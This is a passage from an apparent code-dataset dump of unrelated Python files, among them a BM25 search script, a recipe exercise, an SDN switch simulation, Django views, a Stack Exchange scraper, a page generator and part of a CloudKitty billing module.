= model_selection.train_test_split(X_1bhk, Y_1bhk,random_state = 25,train_size=0.7)\r\n#xgb_1bhk=xgboost.XGBRegressor(max_depth=8,n_estimators=100,reg_lambda=,reg_alpha=0.05)\r\n#xgb_1bhk.fit(x_train_1bhk,scipy.special.boxcox(y_train_1bhk,0))\r\n#print(xgb_1bhk.score(x_train_1bhk,scipy.special.boxcox(y_train_1bhk,0)))\r\n#print(xgb_1bhk.score(x_test_1bhk,scipy.special.boxcox(y_test_1bhk,0)))\r\n#print(numpy.sqrt(metrics.mean_squared_error(y_test_1bhk,scipy.special.inv_boxcox(xgb_1bhk.predict(x_test_1bhk),0))))\r\n#print(metrics.median_absolute_error(y_test_1bhk,scipy.special.inv_boxcox(xgb_1bhk.predict(x_test_1bhk),0)))\r\n##rmse 25.9\r\n#\r\n#,reg_lambda =30,reg_alpha=0.6\r\n#\r\n\r\n'''clusters'''\r\nlondon_data_imputed.to_csv('C:\\\\Users\\\\gudea\\\\Desktop\\\\Python\\\\airbnb\\\\london_clean_4.csv',index=True)\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"scrape-code_webdriver.py","file_name":"scrape-code_webdriver.py","file_ext":"py","file_size_in_byte":23767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"299286062","text":"import subprocess\r\nfrom contextlib import contextmanager\r\nfrom winrt.windows.system import Launcher\r\nfrom winrt.windows.foundation import Uri\r\nimport pyautogui\r\nimport win32gui\r\nimport win32con \r\nimport time\r\nimport asyncio\r\n\r\n_cursor_position = 50\r\n\r\ndef _cursor_coordinates(pos):\r\n x_0, y_0 = 2245, 715\r\n slider_length = 1100\r\n target_x = x_0 + (pos/100.) * slider_length\r\n return target_x, y_0\r\n\r\n\r\ndef move_cursor(step):\r\n global _cursor_position\r\n _cursor_position = max(0, min(100, _cursor_position + step))\r\n pyautogui.click(_cursor_coordinates(_cursor_position))\r\n \r\n\r\nasync def launch_uri(uri):\r\n await Launcher.launch_uri_async(Uri(uri))\r\n\r\n\r\ndef open_night_light():\r\n asyncio.run(launch_uri('ms-settings:nightlight'))\r\n settings = win32gui.FindWindow(None, 'settings')\r\n assert settings, \"Unable to find settings window...\"\r\n try:\r\n win32gui.SetForegroundWindow(settings)\r\n except:\r\n while win32gui.GetWindowText(win32gui.GetForegroundWindow()).lower() != 'settings':\r\n pyautogui.hotkey('alt', 'shift', 'tab')\r\n placement = (0, 1, (-1, -1), (-1, -1), (2187, 0, 3857, 2136))#\r\n if win32gui.GetWindowPlacement(settings) != placement:\r\n win32gui.SetWindowPlacement(settings, placement)\r\n return settings\r\n\r\n\r\ndef close_night_light():\r\n pyautogui.click(3770, 35)\r\n\r\n\r\n@contextmanager\r\ndef settings_window(sleep_time=0.3):\r\n settings = open_night_light()\r\n try:\r\n if sleep_time:\r\n time.sleep(sleep_time)\r\n yield settings\r\n finally:\r\n close_night_light()\r\n #win32gui.PostMessage(settings,win32con.WM_DESTROY,0,0)\r\n #win32gui.CloseWindow(settings)","sub_path":"nightlight.py","file_name":"nightlight.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"48408369","text":"from math import log\nfrom collections import defaultdict\nimport os\nfrom collections import ChainMap\nfrom collections import OrderedDict\n\nk1 = 1.2\nk2 = 100\nb = 0.75\nR = 0.0\n\ndef main():\n text_files = [f for f in os.listdir('/Users/tejasparab/Desktop/Python/Assignment 4/Para') if f.endswith('.txt')]\n text_files.reverse()\n words = defaultdict(list)\n name_count = defaultdict(list)\n\n words, name_count = unigram(text_files)\n\n with open('queries.txt', 'r') as f:\n lines = ''.join(f.readlines())\n\n queries = read_query(lines)\n file_count = 1\n results = []\n for query in queries:\n results = []\n results.append(exec_query(words, query, name_count))\n print(results)\n score = {}\n score = dict(ChainMap(*results))\n sorted_score = OrderedDict(sorted(score.items(), key=lambda x: x[1], reverse=True)[:100])\n counter = 1\n f = open(str(file_count) + \".txt\",'a')\n f.write(\"query_id Q0 doc_id rank BM25_score system_name\" + '\\n')\n for k, v in sorted_score.items():\n print(str(int(queries.index(query))+1) + \" \" + \"Q0\" + \" \" + str(k) + \" \" + str(counter) + \" \" + str(v) + \" \" + \"UniBM25\")\n f.write(str(int(queries.index(query))+1) + \" \" + \"Q0\" + \" \" + str(k) + \" \" + str(counter) + \" \" + str(v) + \" \" + \"UniBM25\" + '\\n')\n counter = counter + 1\n f.flush()\n f.close()\n file_count = file_count + 1\n\n\ndef unigram(text_files):\n words = []\n dict_words = defaultdict(list)\n dict_count = defaultdict(list)\n for i in text_files: #opens and reads the contents of a single file and enters the key:value information\n #in the dict_words, does so for the entire corpus passed.\n with open(\"Para/\" + i, 'r') as f:\n val = f.readlines()\n print(f.name)\n text = ''.join(val)\n words.append(text.lower().split(\" \")) #cross checking whether all terms lower yet again\n #print(words)\n flat_words = combined_list(words)\n while '' in flat_words:\n flat_words.remove('')\n #print(flat_words)\n dict_count[os.path.splitext(f.name)[0].replace('Para/', '')] = len(flat_words)\n #print(dict_count)\n for entry in flat_words: #check if the docid, count pair already present for the key\n if [os.path.splitext(os.path.basename(f.name))[0], flat_words.count(entry)] in dict_words[entry]:\n continue\n else: #else append to the values\n dict_words[entry].append([os.path.splitext(os.path.basename(f.name))[0], flat_words.count(entry)])\n words.clear() #clearing the word_list for the next iteration with a new file\n #print(dict_words)\n return dict_words, dict_count\n\n\ndef read_query(lines):\n query_list = []\n\n for line in lines.split('\\n'):\n query = line.rstrip().split()\n query_list.append(query)\n\n return query_list\n\n\ndef calculate_BM25(n, f, qf, r, N, dl, avdl):\n K = k1 * ((1 - b) + b * (float(dl) / float(avdl)))\n fir = log(((r + 0.5) / (R - r + 0.5)) / ((n - r + 0.5) / (N - n - R + r + 0.5)))\n s = ((k1 + 1) * f) / (K + f)\n t = ((k2 + 1) * qf) / (k2 + qf)\n return fir * s * t\n\n\ndef exec_query(words,query,name_count):\n query_result = dict()\n qf = 1\n r = 0\n N = 1000\n for term in query: #hurricane #isabel individual\n if term in words: #whether the term is in inverted index\n value = words[term] #if yes, then all the documents the term occurs in\n for single_val, freq in value: #for single document of all the documents\n if single_val in name_count: #no. of words in that document\n n = len(value) #no. of documents indexed by this term\n f = freq #frequency of that word\n dl = name_count[single_val] #no. of words in the document\n avdl = sum(name_count.values()) / N #sum of all dl's / no. of documents\n score = calculate_BM25(n, f, qf, r, N, dl, avdl)\n if term in query_result:\n query_result[single_val] += score\n else:\n query_result[single_val] = score\n return query_result\n\n\ndef combined_list(list1):\n flat_list = []\n for sublist in list1:\n for item in sublist:\n flat_list.append(item)\n\n return flat_list\nmain()\n","sub_path":"Assignment 4/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"113209973","text":"#!/usr/bin/python\n\nimport math\n\ndef recipe_batches(recipe, inventory):\n # function takes in 2 dictionaries, one representing a recepie and the other how much ingrededients we have\n # compare recipe to ingredients\n # find how many batches of the recipe we can make given what the recipe calls and what we have\n\n # batch available for ONE ingredient: \n # needed (20) what we have (40), QUOTIENT = 40 / 20\n\n # FIND THE LARGEST QUOTIENT AND OUTPUT IT\n # If there are ANY quotients less than 1 then output 0\n \n # inputs:\n # 2 dictionaries each with POSSIBLE keys: \n # milk, butter, flour, cheese, sugar\n\n # RECIPE = { 'milk': 100, 'butter': 50, 'flour': 5 }\n # INVENTORY = { 'milk': 138, 'butter': 48, 'flour': 51 }\n\n ## ---------------------- FIND THE SMALLEST BATCH POSSIBLE\n\n ## loop through recipe dictionary get the quotient of inventory item divided \n ## by recipe amount, while also recording the smallest batch possible, which is what\n # will be returned. if there are any missing keys from the inventory dict recipe dict has, return 0.\n smallest_batch = 999999999999\n\n # first check if the length of the inventory equal or greater, if it's smaller\n # then we don't have all the ingredients\n if len(recipe) > len(inventory):\n return 0\n\n # loop through the recipie and check the inventory dict for matching key\n for ingredient_key in recipe:\n if ingredient_key in inventory:\n # found matching ingredient, calculate how many batches it can make\n batch_amount = inventory[ingredient_key] // recipe[ingredient_key]\n if batch_amount < 1: # not enough ingredients for one batch, recipe not possible\n return 0\n else:\n # at least one batch is possible, check if it's the smallest, if it is, save it\n if batch_amount < smallest_batch:\n smallest_batch = batch_amount\n \n # at the end of the loop we should have the smallest batch possible\n return smallest_batch\n\n# print(recipe_batches({ 'milk': 2 }, { 'milk': 200}))\n\nif __name__ == '__main__':\n # Change the entries of these dictionaries to test \n # your implementation with different inputs\n recipe = { 'milk': 100, 'butter': 50, 'flour': 5 }\n ingredients = { 'milk': 132, 'butter': 48, 'flour': 51 }\n print(\"{batches} batches can be made from the available ingredients: {ingredients}.\".format(batches=recipe_batches(recipe, ingredients), ingredients=ingredients))","sub_path":"recipe_batches/recipe_batches.py","file_name":"recipe_batches.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"105902823","text":"from buffer import Buffer\nfrom collections import deque\nimport random\n\nTABLE_SIZE = 10\nHOP_COUNT_LIMITATION = 2\n\n\nclass OpenflowSwitch(object):\n \"\"\"A SDN switch\"\"\"\n\n def __init__(self, name):\n self.name = name\n self.table_queue = deque([])\n self.buffer = Buffer(name)\n self.counter = 0\n\n def add_rule(self, rule):\n if len(self.table_queue) < TABLE_SIZE:\n self.table_queue.appendleft(rule)\n else:\n self.table_queue.pop()\n self.table_queue.appendleft(rule)\n\n @staticmethod\n def send_packet(packet, recipient):\n recipient.buffer.put(packet)\n\n def handle_packet(self, controller, net):\n \"\"\"Update the routing table, and forward the routing packet over the proper links, if necessary.\"\"\"\n\n if not self.buffer.is_empty():\n packet = self.buffer.get()\n\n flag = False\n\n for rule in self.table_queue:\n src = rule['match']['src']\n dst = rule['match']['dst']\n\n if packet['source'] == src and packet['destination'] == dst:\n OpenflowSwitch.send_packet(packet, rule['next_hop'])\n flag = True\n break\n\n # When we do not send packets to the controller\n if not flag:\n if packet['hop_count'] < HOP_COUNT_LIMITATION:\n packet['hop_count'] += 1\n random_next = random.choice(list(net.sopts[self.name].values()))\n next_hop_info = net.g.node.get(random_next[0])\n next_hop_obj = next_hop_info.get('obj')\n if next_hop_info.get('isSwitch') is True:\n OpenflowSwitch.send_packet(packet, next_hop_obj)\n\n elif packet['destination'] == next_hop_obj.ip:\n OpenflowSwitch.send_packet(packet, next_hop_obj)\n\n else:\n self.counter += 1\n controller.update_table(packet)\n\n else:\n self.counter += 1\n controller.update_table(packet)\n\n\n # if not flag:\n # self.counter += 1\n # controller.update_table(packet)\n\n\nclass Host(object):\n \"\"\"A SDN switch\"\"\"\n\n def __init__(self, name, ip):\n self.name = name\n self.ip = ip\n self.buffer = Buffer(name)\n","sub_path":"devices.py","file_name":"devices.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"643543159","text":"# Python has two built-in methods that you can use on tuples.\n# Returns the number of times a specified value occurs in a tuple\n\n# Return the number of times the value 5 appears in the tuple:\n\nthistuple = (1, 3, 7, 8, 7, 5, 4, 6, 8, 5)\nx = thistuple.count(5)\nprint(x)\n\n# Return the number of times the \"BMW K 1300 R\" appears in the tuple\nthistuple = (\"Royal Enfield\" , \"Harley Davidson\" , \"BMW K 1300 R\" , \"Maserati Quattroporte\" , \"BMW\" , \"MG Hector\" , \"BMW K 1300 R\")\nx = thistuple.count(\"BMW K 1300 R\")\nprint(x)\n","sub_path":"Python_Tuples/TupleMethods/count().py","file_name":"count().py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"653418597","text":"from django.shortcuts import render\n\nfrom django.utils import timezone\nfrom django.views.generic import ListView\nfrom django.views.generic.detail import DetailView\n\nfrom .mixin import LoginRequiredMixin, StaffRequiredMixin\nfrom .models import Book\n\nclass BookDetailView(StaffRequiredMixin, DetailView):\n model = Book\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"now\"] = timezone.now()\n context[\"books\"] = Book.objects.all()\n return context\n\n\nclass BookListView(LoginRequiredMixin, ListView):\n model = Book\n\n def get(self, request):\n # use 0 for session till browser close\n self.request.session.set_expiry(3600) # log in for 1 hour\n s_id = self.request.session.get(\"your_id\")\n if s_id is None:\n self.request.session[\"your_id\"] = request.user.username\n context = {\n \"id\": s_id,\n \"object_list\": Book.objects.all(), # Now, explicitly defined\n }\n return render(request, \"app_books/book_list.html\", context)\n","sub_path":"src/app_books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"112847775","text":"#=======================================================================#\n# USER NAME: Thach Le \n# FILE NAME: 061-piling-up.py\n# FILE PATH: /E/thach-working/hackerrank/python-skill/061-piling-up.py\n#=======================================================================#\n# import library\nimport time \nfrom collections import deque\ndef main():\n\t# file data input \n\tline = line = open('061-piling-up-tc', 'r').read().replace('\\r\\n', '\\n').split('\\n')\n\n\t####################### #\n\t# 0.046s O(n*M)\n\t####################### #\n\t# implement with list\n\tfor i in range(1, int(line[0])*2+1, 2):\n\t\tlst_input = list(map(int, line[i+1].split()))\n\t\tmin_idex = lst_input.index(min(lst_input))\n\t\tleft = lst_input[:min_idex]\n\t\tright = lst_input[min_idex:]\n\t\tprint(\"Yes\" if left == sorted(left, reverse=True) and right == sorted(right) else \"No\")\n\t####################### #\n\n\t####################### #\n\t# 0.051s O(n)\n\t####################### #\n\t# implement with list\n\t# for i in range(1, int(line[0])*2+1, 2):\n\t# \tdeque_inp = deque()\n\t# \tdeque_inp.extend(map(int, line[i+1].split()))\n\t# \tresult = 'Yes'\n\t# \tfor cube in sorted(deque_inp, reverse=True):\n\t# \t\tif cube == deque_inp[0]: deque_inp.popleft()\n\t# \t\telif cube == deque_inp[-1]: deque_inp.pop()\n\t# \t\telse:\n\t# \t\t\tprint('No')\n\t# \t\t\tbreak\n\t# \telse: print('Yes')\n\t####################### #\n\n\t####################### #\n\t# TOO SLOW O(n^2*M)\n\t####################### #\n\t# implement with deque\n\t# for i in range(1, int(line[0])*2+1, 2):\n\t# \tdeque_inp = deque()\n\t# \tdeque_inp.extend(map(int, line[i+1].split()))\n\t# \tresult = 'Yes'\n\t# \twhile deque_inp != deque():\n\t# \t\tif max(deque_inp) == deque_inp[0] or max(deque_inp) == deque_inp[-1]:\n\t# \t\t\tdeque_inp.remove(max(deque_inp))\n\t# \t\telse:\n\t# \t\t\tresult = 'No'\n\t# \t\t\tbreak\n\t# \tprint(result)\n\t####################### #\n\n\nif __name__ == \"__main__\":\n\tstart_time = time.time()\n\tmain()\n\tprint('Eslapsed time {0:.5f}'.format(time.time()-start_time))","sub_path":"python-skill/061-piling-up.py","file_name":"061-piling-up.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"572249882","text":"from stackexchange import Site, StackOverflow\nimport json\nimport os\nso = Site(StackOverflow, 'COq7tST2*12CYE9j8BA)CQ((')\nquestions_list = []\nuser_id = []\nusers = {}\nrep_user_map = {}\nbadge_user_map = {}\nbadges = {'gold': 0, 'silver':0, 'bronze':0}\ncount = 0\nquestions = {}\ntags = []\nfor question in so.questions(tagged=['python', 'pandas'], pagesize=10):\n response = question.json\n if not response['title'] in questions:\n questions[response['title']] = {}\n questions[response['title']]['tags'] = response['tags']\n tags.append(response['tags'])\n questions[response['title']]['answered'] = response['answer_count']\n if 'user_id' in response['owner']:\n questions_list.append(response['title'])\n user_id.append(response['owner']['user_id'])\n user_obj = so.user(response['owner']['user_id'])\n if not response['owner']['user_id'] in users:\n users[response['owner']['user_id']] = {}\n badge_user_map[user_obj.badge_total] = user_obj\n users[response['owner']['user_id']]['badge'] = user_obj.badge_total\n users[response['owner']['user_id']]['reputaion'] = user_obj.reputation\n users[response['owner']['user_id']]['url'] = user_obj.json['link']\n users[response['owner']['user_id']]['user_name'] = user_obj.json['display_name']\n users[response['owner']['user_id']]['user_id'] = response['owner']['user_id']\n rep_user_map[user_obj.reputation] = users[response['owner']['user_id']]\n if 'badge_counts' in user_obj.json:\n for badge_type in badges.keys():\n if badge_type in user_obj.json['badge_counts']:\n badges[badge_type] = badges[badge_type] + 1\n tags_list= []\n for tag in user_obj.tags.fetch():\n tags_list.append(tag)\n users[response['owner']['user_id']]['tags'] = tags_list\n count+=1\n if count > 50:\n break\n\ntop_weight_user = badge_user_map.keys()\ntop_weight_user.sort()\ntop_weight_user = top_weight_user[-1]\ntop_weight_user_obj = badge_user_map[top_weight_user]\ntop_ques = []\nfor ques in top_weight_user_obj.top_questions_in_tag(['python','pandas']):\n top_ques.append(ques.title)\n\ntags = [item for sublist in tags for item in sublist]\ntags = list(set(tags))\n\nques4 = {}\nfor t in tags:\n obj = so.tag(t)\n ques4[t] = obj.count\n\n\n\nprint (\"questions_list\")\nprint (questions_list)\nprint (\"\\nuser ids\")\nprint (user_id)\nprint (\"top questions according to the weightage.\\n\")\nprint (top_ques)\n\n\n\nrep_user = rep_user_map.keys()\nrep_user.sort()\nfor item in ['pandas', 'python']:\n with open(\"/tmp/%s_topic.txt\"%item, 'w') as f:\n for user in rep_user:\n f.write(str(rep_user_map[user]['user_id'])+\",\")\n f.write(rep_user_map[user]['user_name']+\",\")\n f.write(rep_user_map[user]['url']+\"\\n\")\nprint (\"Successfully written the results to the following files /tmp/pandas.txt /tmp/python.txt\")\n\n\nfor key, value in badges.iteritems():\n print (\"%s : %s\"%(key,value))\n\n\n\nfor key, value in questions.iteritems():\n print (\"Question --->%s\"%key)\n print (\"Tags --->%s\"%str(value['tags']))\n\nfor key, value in questions.iteritems():\n print (\"Question --->%s\"%key)\n print (\"Number of answers --->%s\"%value['answered'])\n\n\nfor key, value in ques4.iteritems():\n print (\"Tag %s Number of Questions %s\"%(key, value))\n\n\n","sub_path":"stack_overflow_api.py","file_name":"stack_overflow_api.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"186721423","text":"import pygame\r\n\r\n\r\npygame.init()\r\n\r\nwin = pygame.display.set_mode(((1360, 640)))\r\npygame.display.set_caption((\"zme9 ebana9\"))\r\n\r\nx = 500\r\ny = 500\r\nwidht = 50\r\nheight = 60\r\nspeed = 15\r\nrun = True\r\nwhile run:\r\n pygame.time.delay(50)\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n keys = pygame.key.get_pressed()\r\n if keys[pygame.K_LEFT]:\r\n x -= speed\r\n if keys[pygame.K_RIGHT]:\r\n x += speed\r\n if keys[pygame.K_DOWN]:\r\n y += speed\r\n if keys[pygame.K_UP]:\r\n y -= speed\r\n pygame.draw.circle(win, (255, 255, 255), (x, y), 10, 0)\r\n pygame.display.update()\r\npygame.quit()\r\n","sub_path":"Игра на Python/snakegame.py","file_name":"snakegame.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"653041438","text":"import shutil, os\n\n# This is a list of cities, follow this format: [cityName, stateName, stateAbbr]\ncities = [\n [\"San Diego\", \"California\", \"CA\"],\n [\"New York City\", \"New York\", \"NY\"],\n [\"Boston\", \"Massachusetts\", \"MA\"],\n [\"Washington DC\", \"District of Columbia\", \"DC\"],\n [\"Houston\", \"Texas\", \"TX\"],\n [\"Austin\", \"Texas\", \"TX\"],\n [\"San Antonio\", \"Texas\", \"TX\"],\n [\"Chicago\", \"Illinois\", \"IL\"],\n [\"East Lansing\", \"Michigan\", \"MI\"],\n [\"Ann Arbor\", \"Michigan\", \"MI\"],\n [\"Providence\", \"Rhode Island\", \"RI\"],\n [\"Pittsburgh\", \"Pennsylvania\", \"PA\"],\n [\"Philadelphia\", \"Pennsylvania\", \"PA\"],\n [\"Vancouver\", \"British Columbia\", \"BC\"],\n [\"Portland\", \"Oregon\", \"OR\"],\n [\"Phoenix\", \"Arizona\", \"AZ\"],\n [\"San Francisco\", \"California\", \"CA\"],\n [\"Oakland\", \"California\", \"CA\"],\n [\"Berkeley\", \"California\", \"CA\"],\n [\"Hayward\", \"California\", \"CA\"],\n [\"Fremont\", \"California\", \"CA\"],\n [\"San Jose\", \"California\", \"CA\"],\n [\"Sunnyvale\", \"California\", \"CA\"],\n [\"Palo Alto\", \"California\", \"CA\"],\n [\"Menlo Park\", \"California\", \"CA\"],\n [\"Milpitas\", \"California\", \"CA\"],\n [\"Mountain View\", \"California\", \"CA\"],\n [\"Stanford\", \"California\", \"CA\"],\n [\"Los Angeles\", \"California\", \"CA\"],\n# [\"Detroit\", \"Michigan\", \"MI\"],\n# [\"Atlanta\", \"Georgia\", \"GA\"],\n# [\"Raleigh\", \"North Carolina\", \"NC\"],\n# [\"Dallas\", \"Texas\", \"TX\"],\n# [\"Tacoma\", \"Washington\", \"WA\"],\n# [\"Seattle\", \"Washington\", \"WA\"]\n]\n\n# These keywords will be put into sentences, so\n# please end with conference so that the sentences make sense.\nconferenceKeywords = [\n \"AI conference\",\n \"Artificial Intelligence conference\",\n \"machine learning conference\",\n \"deep learning conference\",\n \"NLP conference\"\n]\n\ndef urlize(s):\n return s.lower().replace(' ', '-')\n\n# Clean up the previous versions of generated by this script\nfor city in cities:\n state = city[1]\n try:\n shutil.rmtree(\"./\" + urlize(state))\n except:\n pass\n\n# NOW LETS DO SOME MASS CREATION BABY!\ncounter = 0\nfor city in cities:\n city_name = city[0]\n state_name = city[1]\n state_abbr = city[2]\n\n for keyword in conferenceKeywords:\n directory = os.path.join(urlize(state_name), urlize(city_name), urlize(keyword))\n print(directory)\n if not os.path.exists(directory):\n os.makedirs(directory)\n with open(os.path.join(directory, 'index.md'), 'w') as outfile:\n content = (\"---\\n\"\n \"title: AI Frontiers Conference\\n\"\n \"layout: index\\n\"\n \"cityKeyword: '%s'\\n\"\n \"stateKeyword: '%s'\\n\"\n \"stateAbbrKeyword: '%s'\\n\"\n \"conferenceKeyword: '%s'\\n\"\n \"---\") % (city_name, state_name, state_abbr, keyword)\n outfile.write(content)\n counter += 1\n\nprint(\"phew! %d files generated.\" % counter)\n","sub_path":"mass_generator.py","file_name":"mass_generator.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"94733058","text":"# -*- coding: utf-8 -*-\nimport hashlib\nfrom jinja2 import Markup\n\ndef gravatar(value):\n return 'https://www.gravatar.com/avatar/' + hashlib.md5(value.email.strip().lower().encode()).hexdigest() + '?r=pg&d=mp'\n\ndef convert_to_tag(line):\n if line.startswith('#'):\n components = line.split()\n level = components[0].count('#')\n headline = ' '.join(components[1:])\n return Markup(''.format(level)) + Markup.escape(headline) + Markup(''.format(level))\n else:\n return Markup('

') + Markup.escape(line) + Markup('

')\n \ndef mdlike(value):\n return Markup(''.join([\n convert_to_tag(l)\n for l\n in map(lambda x: x.strip(), value.split('\\n'))\n ]))\n\n\ndef init_filters(app):\n app.jinja_env.filters['gravatar'] = gravatar\n app.jinja_env.filters['mdlike'] = mdlike\n","sub_path":"websecjp/snippet/build/challenge/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"589990015","text":"import time\nimport threading\nimport redis\n\nr = redis.Redis(host='127.0.0.1', port=6379, db=0)\n\ndef func():\n for i in range(30):\n print(r.keys())\n time.sleep(1)\n return \"done \"\n\n\nif __name__ == \"__main__\":\n task = []\n for i in range(5):\n t1 = threading.Thread(target=func)\n task.append(t1)\n for i in task:\n i.start()\n\n for i in task:\n i.join()\n","sub_path":"redis/redis-py/multiprocess/multithread.py","file_name":"multithread.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"508364240","text":"#!/usr/bin/env python3\n\n\nimport sys\n\n\ndef sum_to_k(lst, k):\n i = 0\n while i < len(lst):\n j = i + 1\n while j < len(lst):\n if lst[i] + lst[j] == k:\n (lst[i], lst[j])\n j += 1\n i += 1\n# Solution like in the hint. Brute-force made correct.\n\n\ndef main():\n # k = int(sys.argv[1])\n # lst = [int(e) for e in sys.argv[2:]]\n # sum_to_k(lst, k)\n\n n = int(sys.argv[1])\n lst = [1, 6, 7, 8, 9, 10, 2, 3, 4, 5]\n k = 13\n lst *= n\n sum_to_k(lst, k)\n\n\nif __name__ == '__main__':\n main()\n\n\n# Complexity\n# O(n^2) - loop twice / look at items twice (asymptotically speaking)","sub_path":"year2_1819/computer_programming_3_algorithms_data_structures/labs/w1/ca117-revision/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"606952078","text":"# -*- coding: utf-8 -*-\n# Copyright 2014 Objectif Libre\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n# @author: Stéphane Albert\n#\nimport datetime\nimport json\nimport os.path\nimport zipfile\n\nimport cloudkitty.utils as utils\n\n\nclass OSRTFBackend(object):\n \"\"\"Native backend for transient report storage.\n\n Used to store data from the output of the billing pipeline.\n \"\"\"\n\n def __init__(self):\n self._osrtf = None\n\n def open(self, filename):\n # FIXME(sheeprine): ZipFile is working well with filename\n # but not backend\n self._osrtf = zipfile.ZipFile(filename, 'a')\n\n def _gen_filename(self, timeframe):\n filename = '{}-{:02d}-{:02d}-{}-{}.json'.format(timeframe.year,\n timeframe.month,\n timeframe.day,\n timeframe.hour,\n timeframe.minute)\n return filename\n\n def _file_exists(self, filename):\n for file_info in self._osrtf.infolist():\n if file_info.filename == filename:\n return True\n return False\n\n def add(self, timeframe, data):\n \"\"\"Add the data to the OpenStack Report Transient Format.\"\"\"\n filename = self._gen_filename(timeframe)\n # We can only check for the existence of a file not rewrite or delete\n # it\n if not self._file_exists(filename):\n self._osrtf.writestr(filename, json.dumps(data))\n\n def get(self, timeframe):\n try:\n filename = self._gen_filename(timeframe)\n data = json.loads(self._osrtf.read(filename))\n return data\n except Exception:\n pass\n\n def close(self):\n self._osrtf.close()\n\n\nclass WriteOrchestrator(object):\n \"\"\"Write Orchestrator:\n\n Handle incoming data from the global orchestrator, and store them in an\n intermediary data format before final transformation.\n \"\"\"\n def __init__(self,\n backend,\n user_id,\n state_manager,\n basepath=None,\n period=3600):\n self._backend = backend\n self._uid = user_id\n self._period = period\n self._sm = state_manager\n self._basepath = basepath\n self._osrtf = None\n self._write_pipeline = []\n\n # State vars\n self.usage_start = None\n self.usage_start_dt = None\n self.usage_end = None\n self.usage_end_dt = None\n\n # Current total\n self.total = 0\n\n # Current usage period lines\n self._usage_data = {}\n\n def add_writer(self, writer_class):\n writer = writer_class(self,\n self._uid,\n self._backend,\n self._basepath)\n self._write_pipeline.append(writer)\n\n def _gen_osrtf_filename(self, timeframe):\n if not isinstance(timeframe, datetime.datetime):\n raise TypeError('timeframe should be of type datetime.')\n date = '{}-{:02d}'.format(timeframe.year, timeframe.month)\n filename = '{}-osrtf-{}.zip'.format(self._uid, date)\n return filename\n\n def _update_state_manager(self):\n self._sm.set_state(self.usage_end)\n metadata = {'total': self.total}\n self._sm.set_metadata(metadata)\n\n def _get_state_manager_timeframe(self):\n timeframe = self._sm.get_state()\n self.usage_start = datetime.datetime.fromtimestamp(timeframe)\n end_frame = timeframe + self._period\n self.usage_end = datetime.datetime.fromtimestamp(end_frame)\n metadata = self._sm.get_metadata()\n self.total = metadata.get('total', 0)\n\n def _filter_period(self, json_data):\n \"\"\"Detect the best usage period to extract.\n\n Removes the usage from the json data and returns it.\n \"\"\"\n candidate_ts = None\n candidate_idx = 0\n\n for idx, usage in enumerate(json_data):\n usage_ts = usage['period']['begin']\n if candidate_ts is None or usage_ts < candidate_ts:\n candidate_ts = usage_ts\n candidate_idx = idx\n\n if candidate_ts:\n return candidate_ts, json_data.pop(candidate_idx)['usage']\n\n def _format_data(self, timeframe, data):\n beg = utils.dt2ts(timeframe)\n end = beg + self._period\n final_data = {'period': {'begin': beg, 'end': end}}\n final_data['usage'] = data\n return [final_data]\n\n def _open_osrtf(self):\n if self._osrtf is None:\n self._osrtf = OSRTFBackend()\n filename = self._gen_osrtf_filename(self.usage_start_dt)\n if self._basepath:\n self._osrtf_filename = os.path.join(self._basepath, filename)\n self._osrtf.open(self._osrtf_filename)\n\n def _pre_commit(self):\n self._open_osrtf()\n\n def _commit(self):\n self._pre_commit()\n\n self._osrtf.add(self.usage_start_dt, self._usage_data)\n\n # Dispatch data to writing pipeline\n for backend in self._write_pipeline:\n backend.append(self._usage_data, self.usage_start, self.usage_end)\n\n self._update_state_manager()\n\n self._usage_data = {}\n\n self._post_commit()\n\n def _post_commit(self):\n self._osrtf.close()\n\n def _dispatch(self, data):\n for service in data:\n if service in self._usage_data:\n self._usage_data[service].extend(data[service])\n else:\n self._usage_data[service] = data[service]\n # Update totals\n for entry in data[service]:\n self.total += entry['billing']['price']\n\n def get_timeframe(self, 